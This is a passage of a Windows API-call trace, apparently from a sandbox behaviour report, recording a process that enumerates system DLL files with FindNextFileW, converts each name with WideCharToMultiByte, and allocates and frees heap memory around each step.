| out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.959] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.959] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x30c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.959] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x30c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0035.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.960] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.960] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.960] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.961] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.961] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x30c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.961] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.961] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0035.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.962] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.962] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x30c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.962] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.962] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x30c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.963] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 